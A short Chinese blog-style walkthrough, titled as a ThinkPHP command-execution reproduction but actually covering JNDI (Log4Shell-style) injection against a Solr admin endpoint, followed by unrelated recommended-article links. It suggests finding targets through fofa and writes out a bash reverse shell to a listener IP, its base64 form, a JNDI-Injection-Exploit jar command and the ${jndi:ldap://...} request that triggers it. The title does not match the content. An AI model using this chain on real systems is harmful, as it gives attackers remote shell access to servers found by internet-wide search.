thinkphp之命令执行漏洞复现

实战:

fofa搜索thinkphp--

第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果

返回dnslog查看到了Java的版本信息

打开kali监听端口

进行base64编码

复制代码
bash -i >& /dev/tcp/192.168.189.150/8080 0>&1

我编码后的是

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OS4xNTAvODA4MCAwPiYx

复制语句、

复制代码
# 命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令1}|{base64,-d}|bash"-A 你的ypsipl
#我的命令语句是
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OS4xNTAvODA4MCAwPiYx}|{base64,-d}|bash" -A 192.168.189.150
​
复制代码
访问一下kali里面得到的1.8版本的ldmp:/solr/admin/cores?action=${jndi:ldap://192.168.189.150:1389/jj9zyn
}

kali里面就可以监听的到了

相关推荐
a0023450011 小时前
python类型转换&深浅拷贝
开发语言·python
2301_766536052 小时前
调试无痛入手
开发语言·前端
+7202 小时前
Java 的 HttpClient 中使用 POST 请求传递参数
java·开发语言
@大迁世界3 小时前
构建 Next.js 应用时的安全保障与风险防范措施
开发语言·前端·javascript·安全·ecmascript
水瓶丫头站住4 小时前
Qt中QRadioButton的样式设置
开发语言·qt
关关钧5 小时前
【R语言】绘图
开发语言·python·r语言
Hacker_Oldv6 小时前
网络安全-php安全知识点
安全·web安全·php